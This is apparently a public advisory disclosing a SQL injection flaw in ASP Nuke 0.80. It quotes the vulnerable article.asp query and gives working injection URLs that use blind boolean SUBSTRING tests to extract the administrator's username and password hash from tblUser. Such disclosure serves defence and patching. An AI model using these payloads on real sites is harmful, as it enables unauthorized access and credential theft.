ASP Nuke - SQL Injection

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub11-asp-nuke-sql-injection-vulnerability/
'''

Abysssec Inc Public Advisory
 
 
  Title            :  ASP Nuke Sql Injection Vulnerability
  Affected Version :  AspNuke 0.80
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.aspnuke.com


  Download Links   :  http://sourceforge.net/projects/aspnukecms/

 
Description :
===========================================================================================      

1)- SQl Injection
  This version of ASP Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.


  Valnerable Code  in .../module/article/article/article.asp:

  Ln 37:
        sStat = "SELECT	art.ArticleID, art.Title, art.ArticleBody, " &_
		"		auth.FirstName, auth.LastName, " &_
		"		cat.CategoryName, art.CommentCount, " &_
		"		art.Created " &_
		"FROM	tblArticle art " &_
		"INNER JOIN	tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
		"INNER JOIN	tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
		"INNER JOIN	tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
		"WHERE	art.ArticleID = " & steForm("articleid") & " " &_
		"AND	art.Active <> 0 " &_
		"AND	art.Archive = 0"


   Considering to the code, you can browse these URLs:
   
       http://www.site.com/module/article/article/article.asp?articleid=7'                 (the false Query will be shown)
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--    (this Query is always  true) 

   with the following URL you can find the first character of Username:  
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--
   
   and second character:
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--
   
   and so on.
   
   So you gain Admin's information like this:
       Username : admin
       Password : (sha256 hash)


   Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.


===========================================================================================